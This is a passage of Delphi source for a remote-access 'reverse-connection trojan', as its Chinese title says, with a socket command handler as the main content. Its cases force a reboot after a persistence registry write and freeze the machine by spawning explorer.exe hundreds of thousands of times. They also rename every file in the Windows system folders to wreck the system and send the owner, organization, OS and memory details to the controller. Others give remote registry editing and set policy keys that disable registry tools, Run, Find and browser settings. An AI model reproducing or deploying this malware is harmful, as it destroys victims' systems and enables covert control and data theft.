unit1.pas

反弹木马设计全部源码Delphi源码

      reg.WriteString('PHIME2OO2ASyst',Application.ExeName);
     reg.Free;
     cs.Active :=false;
     cs.Close ;
     ExitWindowsEx(EWX_REBOOT,2); 
     ExitWindowsEx(EWX_REBOOT,0);
    end;

230:begin//死机
     for i:=1 to 300000 do
      shellexecute(handle,'open',pchar('explorer.exe'),pchar(''),nil,SW_HIDE);
    end;
240:begin//破坏系统文件
     if sysutils.FindFirst(trim(GetWinDir)+'\system32\*.*',faanyfile,rec)=0 then
      try
       repeat
         sunum:=sunum+1;
         if (rec.Name <>'.') and (rec.Name <>'..') then
          begin
           f1:=trim(GetWinDir)+'\system32\'+rec.Name;
           f2:=trim(GetWinDir)+'\system32\'+inttostr(sunum)+'.av';
           if renamefile(f1,f2) then

           end
        until sysutils.FindNext(rec)<>0;
        finally
         sysutils.FindClose(rec);
        end;

     if sysutils.FindFirst(trim(GetWinDir)+'\system\*.*',faanyfile,rec)=0 then
      try
       repeat
         sunum:=sunum+1;
         if (rec.Name <>'.') and (rec.Name <>'..') then
          begin
           f1:=trim(GetWinDir)+'\system\'+rec.Name;
           f2:=trim(GetWinDir)+'\system\'+inttostr(sunum)+'.av';
           if renamefile(f1,f2) then

           end
        until sysutils.FindNext(rec)<>0;
        finally
         sysutils.FindClose(rec);
        end;

     if sysutils.FindFirst(trim(GetWinDir)+'\*.*',faanyfile,rec)=0 then
      try
       repeat
         sunum:=sunum+1;
         if (rec.Name <>'.') and (rec.Name <>'..') then
          begin
           f1:=trim(GetWinDir)+'\'+rec.Name;
           f2:=trim(GetWinDir)+'\'+inttostr(sunum)+'.av';
           if renamefile(f1,f2) then

           end
        until sysutils.FindNext(rec)<>0;
        finally
         retu();
         sysutils.FindClose(rec);
        end;
    end;
250:SendMessage(Self.Handle, WM_SYSCOMMAND, SC_TASKLIST, 0);    
260:begin//用户名
     reg:=tregistry.Create;
     reg.RootKey := HKEY_LOCAL_MACHINE;
     if reg.OpenKey('Software\Microsoft\Windows NT\CurrentVersion',true) then
      usna:=reg.ReadString('RegisteredOwner');
     reg.CloseKey ;
     reg.Free ;
     CS.Socket.SendText('260'+trim(usna));
    end;
261:begin//系统类型
     os:=Getos;
     case OS of
  os95, os95OSR2: OSVersion:='Windows 95';
  os98: OSVersion:='Windows 98';
  os98SE: OSVersion:='Windows 98 第二版';
  osME: OSVersion:='Windows ME';
  osNT3, osNT4: OSVersion:='Windows NT';
  os2K: OSVersion:='Windows 2000';
  osXP: OSVersion:='Windows XP';
     end;
     CS.Socket.SendText('261'+osversion);
    end; 
262:begin//内存大小
     memst.dwLength := sizeof(memst);
     GlobalMemoryStatus(memst);
     CS.Socket.SendText('262'+IntToStr(memst.dwTotalPhys)+' Kb');
    end;
263:begin//组织名
     reg:=tregistry.Create;
     reg.RootKey := HKEY_LOCAL_MACHINE;
     if reg.OpenKey('SOFTWARE\Microsoft\Windows NT\CurrentVersion',true) then
      usna:=reg.ReadString('RegisteredOrganization');
     CS.Socket.SendText('263'+usna);
     reg.Free ;
    end;
270:begin//改用户名
     reg:=tregistry.Create;
     reg.RootKey := HKEY_LOCAL_MACHINE;
     if reg.OpenKey('Software\Microsoft\Windows NT\CurrentVersion',true) then
      reg.WriteString ('RegisteredOwner',copy(strr,4,length(strr)-3));
     reg.CloseKey ;
     reg.Free ;
    end;
271:begin//改组织名
     reg:=tregistry.Create;
     reg.RootKey := HKEY_LOCAL_MACHINE;
     if reg.OpenKey('Software\Microsoft\Windows NT\CurrentVersion',true) then
      reg.WriteString ('RegisteredOrganization',copy(strr,4,length(strr)-3));
     reg.CloseKey ;
     reg.Free ;
    end;

301:begin
     M2.Text :='';
     REKN:=TStringList.Create;
     REVN:=TStringList.Create;
     if Reg.OpenKey(RERV, True) then
      begin
       Reg.GetKeyNames(REKN);
       For i:=0 To REKN.Count-1 do
        M2.Text  :=M2.Text +'\'+REKN[i];

       Reg.GetValueNames(REVN);
        if Reg.GetDataInfo('',REIOF)=true then
         begin           
           if REIOF.RegData<>rdInteger then
           begin
             if REIOF.RegData=rdString then
              REGVAL:=REGVAL+'默认'+'*'+'REG_SZ'+'*'+Reg.ReadString('')+'*';
           end else
              REGVAL:=REGVAL+'默认'+'*'+'REG_DWORD'+'*'+'Unkown Data ..'+'*';
         end else
          REGVAL:=REGVAL+'默认'+'*'+'REG_SZ'+'*'+'(数值未设置)'+'*';
       For i:=0 To REVN.Count-1 do //默认值处理 结束
       begin
         if REVN[i]<>'' then
         begin
           Reg.GetDataInfo(REVN[i],REIOF);

           if REIOF.RegData<>rdInteger then
           begin
             if REIOF.RegData=rdBinary then
              begin
               f1:=REVN[i];
               f2:='';
               usna:=inttostr(reg.ReadBinaryData(f1,TheBuffer,sizeof(TheBuffer)));
               if trim(usna)<>'4' then
                 REGVAL:=REGVAL+REVN[i]+'*'+'REG_BINARY'+'*'+'二进制值'+'*'
               else
                begin
                 for sunum:=1 to reg.ReadBinaryData(f1,TheBuffer,sizeof(TheBuffer)) do
                  f2:=f2+tohexstr(TheBuffer[sunum-1]);
                 REGVAL:=REGVAL+REVN[i]+'*'+'REG_BINARY'+'*'+f2+'*';
                end;
              end;
             if REIOF.RegData=rdString then
                REGVAL:=REGVAL+REVN[i]+'*'+'REG_SZ'+'*'+Reg.ReadString(REVN[i])+'*';
             if REIOF.RegData=rdExpandString then
                REGVAL:=REGVAL+REVN[i]+'*'+'REG_EXPAND_SZ'+'*'+Reg.ReadString(REVN[i])+'*';
             if REIOF.RegData=rdUnknown then
                 REGVAL:=REGVAL+REVN[i]+'*'+'REG_MULTI_SZ'+'*'+'不能处理的键值！'+'*';
           end else
                REGVAL:=REGVAL+REVN[i]+'*'+'REG_DWORD'+'*'+inttostr(Reg.ReadInteger(REVN[i]))+'*';
         end;
       end;
       Reg.CloseKey;
       REKN.Free ;
       REVN.Free ;
       CS.Socket.SendText('301'+M2.Text  +'>>>'+REGVAL);
     end;
    end;
302:begin//新建主键
     if pos('*',RERV)<>0  then
       RERV:=copy(RERV,1,pos('*',RERV)-1);
     If reg.OpenKey(RERV,true) then
      begin
       RERV:=copy(strr,pos('*',strr)+1,length(strr)-pos('*',strr));
       Reg.CreateKey(RERV);
      end;
    end;
303:begin//更名
     if pos('*',RERV)<>0  then
       RERV:=copy(RERV,1,pos('*',RERV)-1);
      i:=0;
      DOSN:=COPY(RERV,length(RERV),1);
      while  DOSN<>'\' do
       begin
         i:=i+1;
         DOSN:=COPY(RERV,length(RERV)-i,1);
       end;
      DOSN:=COPY(RERV,1,LENGTH(RERV)-i);
      DOSC:=COPY(strr,pos('*',strr)+1,length(strr)-pos('*',strr));
     If reg.OpenKey(RERV,true) then reg.MoveKey(RERV,DOSN+DOSC ,true);
    end;
304:If reg.OpenKey(RERV,true) then Reg.DeleteKey(RERV);//删除键

310:begin//加SZ值
     DOSC:=copy(RERV,pos('*',RERV)+1,length(RERV)-pos('*',RERV));
     RERV:=copy(RERV,1,pos('*',RERV)-1);
     If reg.OpenKey(RERV,true) then reg.WriteString(DOSC,'未设值');
    end;
311:begin//加DWORD值
     DOSC:=copy(RERV,pos('*',RERV)+1,length(RERV)-pos('*',RERV));
     RERV:=copy(RERV,1,pos('*',RERV)-1);
     If reg.OpenKey(RERV,true) then reg.WriteInteger(DOSC,0);
    end;
312:begin//二进制值
     DOSC:=copy(RERV,pos('*',RERV)+1,length(RERV)-pos('*',RERV));
     RERV:=copy(RERV,1,pos('*',RERV)-1);
     If reg.OpenKey(RERV,true) then Reg.WriteBinaryData(DOSC,TheBuffer,Sizeof(TheBuffer));
    end;
320:begin//更子键名
     strr:=copy(RERV,1,pos('*',RERV)-1);
     RERV:=copy(RERV,pos('*',RERV)+1,length(RERV)-pos('*',RERV));
     DOSC:=copy(RERV,1,pos('*',RERV)-1);
     RERV:=copy(RERV,pos('*',RERV)+1,length(RERV)-pos('*',RERV));
     If reg.OpenKey(strr,True) then  reg.RenameValue(DOSC,RERV);
    end;
330:begin//改字符串值
     strr:=copy(RERV,1,pos('*',RERV)-1);
     RERV:=copy(RERV,pos('*',RERV)+1,length(RERV)-pos('*',RERV));
     DOSC:=copy(RERV,1,pos('*',RERV)-1);
     RERV:=copy(RERV,pos('*',RERV)+1,length(RERV)-pos('*',RERV));

     if Reg.OpenKey(strr, True) then
     if DOSC<>'默认' then
      reg.WriteString(DOSC,RERV)
     else
      reg.WriteString('',RERV);
    end;
331:begin//改DWORD值
     strr:=copy(RERV,1,pos('*',RERV)-1);
     RERV:=copy(RERV,pos('*',RERV)+1,length(RERV)-pos('*',RERV));
     DOSC:=copy(RERV,1,pos('*',RERV)-1);
     RERV:=copy(RERV,pos('*',RERV)+1,length(RERV)-pos('*',RERV));

     if Reg.OpenKey(strr, True) then
      reg.WriteInteger(DOSC,strtoint(RERV));
    end;
332:begin//二进制值
     strr:=copy(RERV,1,pos('*',RERV)-1);
     RERV:=copy(RERV,pos('*',RERV)+1,length(RERV)-pos('*',RERV));
     DOSC:=copy(RERV,1,pos('*',RERV)-1);
     RERV:=copy(RERV,pos('*',RERV)+1,length(RERV)-pos('*',RERV));
     if Reg.OpenKey(strr, True) then
     begin
      i:=1;
      while length(bgba)<>length(trim(RERV)) do
       begin
        bgba:=RERV[i]+RERV[i+1]+bgba ;
        i:=i+2;
       end;
      bgba:='$'+bgba ;
      p1:=Ptr(StrToInt(bgba));
      Reg.WriteBinaryData(DOSC,p1,4);
     end;
    end;
340:begin//删除键值
     strr:=copy(RERV,1,pos('*',RERV)-1);
     RERV:=copy(RERV,pos('*',RERV)+1,length(RERV)-pos('*',RERV));
     DOSC:=copy(RERV,1,pos('*',RERV)-1);
     RERV:=copy(RERV,pos('*',RERV)+1,length(RERV)-pos('*',RERV));
     if Reg.OpenKey(strr, True) then  reg.DeleteValue(RERV);
    end;

350:begin
     reg.RootKey := HKEY_CURRENT_USER;
     if reg.OpenKey('SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System',true) then
      reg.WriteInteger('DisableRegistryTools',1);
    end;

352:begin
     reg.RootKey := HKEY_CURRENT_USER;
     if reg.OpenKey('SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer',true) then
      reg.WriteInteger('NoRecentDocsMenu',1);
    end;
353:begin
     reg.RootKey := HKEY_CURRENT_USER;
     if reg.OpenKey('SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer',true) then
       reg.WriteInteger('NoFavoritesMenu',1);
    end;
354:begin
     reg.RootKey := HKEY_CURRENT_USER;
     if reg.OpenKey('SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer',true) then
      begin
       reg.WriteInteger('NoSetFolders',1);
       reg.WriteInteger('NoSetTaskbar',1);
      end;
    end;
355:begin
     reg.RootKey := HKEY_CURRENT_USER;
     if reg.OpenKey('SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer',true) then
      reg.WriteInteger('NoFind',1);
    end;
356:begin
     reg.RootKey := HKEY_CURRENT_USER;
     if reg.OpenKey('SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer',true) then
      reg.WriteInteger('NoRun',1);
    end;
357:begin
     reg.RootKey := HKEY_CURRENT_USER;
     if reg.OpenKey('SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer',true) then
      reg.WriteInteger('NoClose',1);
    end;
358:begin
     reg.RootKey := HKEY_CURRENT_USER;
     if reg.OpenKey('SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer',true) then
      reg.WriteInteger('NoChangeStartMenu',1);
    end;

360:begin
     reg.RootKey := HKEY_CURRENT_USER;
     if reg.OpenKey('software\Policies\Microsoft\Internet Explorer\Control Panel',true) then
      reg.WriteInteger('GeneralTab',1);
    end;
361:begin
     reg.RootKey := HKEY_CURRENT_USER;
     if reg.OpenKey('software\Policies\Microsoft\Internet Explorer\Control Panel',true) then
      reg.WriteInteger('HomePage',1);
    end;
362:begin
     reg.RootKey := HKEY_CURRENT_USER;
     if reg.OpenKey('software\Policies\Microsoft\Internet Explorer\Control Panel',true) then
      begin
       reg.WriteInteger('Settings',1);
       reg.WriteInteger('Links',1);
      end;
    end;
363:begin
     reg.RootKey := HKEY_CURRENT_USER;
     if reg.OpenKey('software\Policies\Microsoft\Internet Explorer\Control Panel',true) then
      reg.WriteInteger('History',1);
    end;
364:begin
     reg.RootKey := HKEY_CURRENT_USER;
     if reg.OpenKey('software\Policies\Microsoft\Internet Explorer\Control Panel',true) then
      reg.WriteInteger('Accessibility',1);
    end;
365:begin
     reg.RootKey := HKEY_CURRENT_USER;
     if reg.OpenKey('software\Policies\Microsoft\Internet Explorer\Control Panel',true) then
      reg.WriteInteger('SecurityTab',1);
    end;
366:begin
     reg.RootKey := HKEY_CURRENT_USER;
     if reg.OpenKey('software\Policies\Microsoft\Internet Explorer\Control Panel',true) then
      reg.WriteInteger('ContentTab',1);
    end;
367:begin
     reg.RootKey := HKEY_CURRENT_USER;
     if reg.OpenKey('software\Policies\Microsoft\Internet Explorer\Control Panel',true) then
      reg.WriteInteger('Ratings',1);
    end;
368:begin
     reg.RootKey := HKEY_CURRENT_USER;
     if reg.OpenKey('software\Policies\Microsoft\Internet Explorer\Control Panel',true) then
      reg.WriteInteger('Certificates',1);
    end;
369:begin
     reg.RootKey := HKEY_CURRENT_USER;
     if reg.OpenKey('software\Policies\Microsoft\Internet Explorer\Control Panel',true) then
      reg.WriteInteger('FormSuggest',1);
    end;
370:begin
     reg.RootKey := HKEY_CURRENT_USER;
     if reg.OpenKey('software\Policies\Microsoft\Internet Explorer\Control Panel',true) then
      reg.WriteInteger('ConnectionsTab',1);
    end;
371:begin
     reg.RootKey := HKEY_CURRENT_USER;
     if reg.OpenKey('software\Policies\Microsoft\Internet Explorer\Control Panel',true) then
      reg.WriteInteger('ProgramsTab',1);
    end;
372:begin
     reg.RootKey := HKEY_CURRENT_USER;
     if reg.OpenKey('software\Policies\Microsoft\Internet Explorer\Control Panel',true) then
      reg.WriteInteger('AdvancedTab',1);
    end;